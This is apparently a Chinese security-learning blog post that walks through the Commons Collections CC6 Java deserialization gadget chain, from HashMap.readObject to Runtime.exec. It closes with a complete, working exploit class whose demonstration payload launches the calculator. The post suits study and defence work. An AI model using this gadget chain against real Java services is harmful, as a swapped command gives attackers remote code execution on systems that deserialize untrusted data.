简介
继续分析CC链了。上一篇文章分析了CC1链,这条链子限制特别多,jdk版本的限制,Commons Collections版本的限制,所以这条链子其实并不是很好用。那么这篇文章主要分析CC6链,这条链子通用,几乎没有一些所谓的版本限制,而且这条链子可以说是结合了CC1链和URLDNS链,学了这两条链子后再分析这条CC6链,就会发现很容易了。注:此篇文章在URLDNS和CC1链分析文章的基础上编写。
CC6链分析
这条链子的利用点还是没有变的,依旧是InvokerTransformer类的transform方法,
 
因为执行类Runtime类不能序列化,所以需要配合ChainedTransformer类与反射生成实例执行命令,直接照抄下来。
| Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 | 
依旧是从后往前找,这里走到了ChainedTransformer类的transform方法。
 
这里我们找到LazyMap类的get方法,这里需要满足Map里不能存在指定的key才能进入到if里面。
 
这里的key可控,再看该类的构造方法。
 
用户可控,这里是protected修饰符,那么就找装饰器函数了。
 
老套路了。接着继续找哪个类的什么方法调用了get方法。在TiedMapEntry类的getValue方法中调用,
 
它又被本类的hashCode函数调用。
 
hashCode?很熟悉了,是URLDNS链的起始函数。那么我们肯定就能猜到入口类就是HashMap了,入口为HashMap的readObject函数,调用hash(key),而今调用任意类的hashCode函数。
 
让key赋值为TiedMapEntry类的实例,去调用它的hashCode方法,此时这一整条链就对接上了。所以这一条CC6链大致为
| HashMap.readObject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform->Runtime.exec()
 | 
问题解决
在我们向HashMap实例put键值对的时候,此时就已经调用了hashCode函数,跟进put方法,
 
也会调用hash,进而调用hashCode。所以此时我们需要修改链子上的某个值来切断这条链子。put完后,利用反射再把值修改过来。这也是URLDNS链的老问题了。那么决定修改LazyMap里的值,具体代码实现:
| Class c = LazyMap.class;Field fieldfactory = c.getDeclaredField("factory");
 fieldfactory.setAccessible(true);
 fieldfactory.set(lazymap,chainedTransformer);
 
 | 
但是此时反序列化并没有弹出计算器。在TiedMapEntry类的hashCode函数下个断点调试一下。
 
此时key有值,为aaa,继续跟进,调用get方法。
 
满足不了这个if判断,链子就从这断了。那么具体是什么原因呢?还是put的原因,在put执行的时候,也是走了一半的链子,当它走到LazyMap的get方法时
 
此时map里面是没有key的,进入到if判断里面后,会把我们传进来的key给put进去,此时map里面就有key了。在反序列化的时候,这里存在key,满足不了if判断就走不下去了。所以在map执行put函数后把我们传进来的key给删掉就好了。到此问题全部解决。完整CC6链EXP:
| package cc6.demo;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CC6test {
 public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap<Object,Object> map = new HashMap<Object,Object>();
 Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
 
 HashMap<Object,Object> map2 = new HashMap<>();
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
 
 map2.put(tiedMapEntry,"bbb");
 map.remove("aaa");
 
 Class c = LazyMap.class;
 Field fieldfactory = c.getDeclaredField("factory");
 fieldfactory.setAccessible(true);
 fieldfactory.set(lazymap,chainedTransformer);
 serialize(map2);
 unserialize("web.bin");
 }
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 
 public static void unserialize(String filename) throws IOException, ClassNotFoundException {
 FileInputStream fileInputStream = new FileInputStream(filename);
 ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
 objectInputStream.readObject();
 System.out.println("2.反序列化成功");
 }
 }
 
 | 
日常弹计算器,嘿嘿。
 
结语
反序列化之路任重而道远。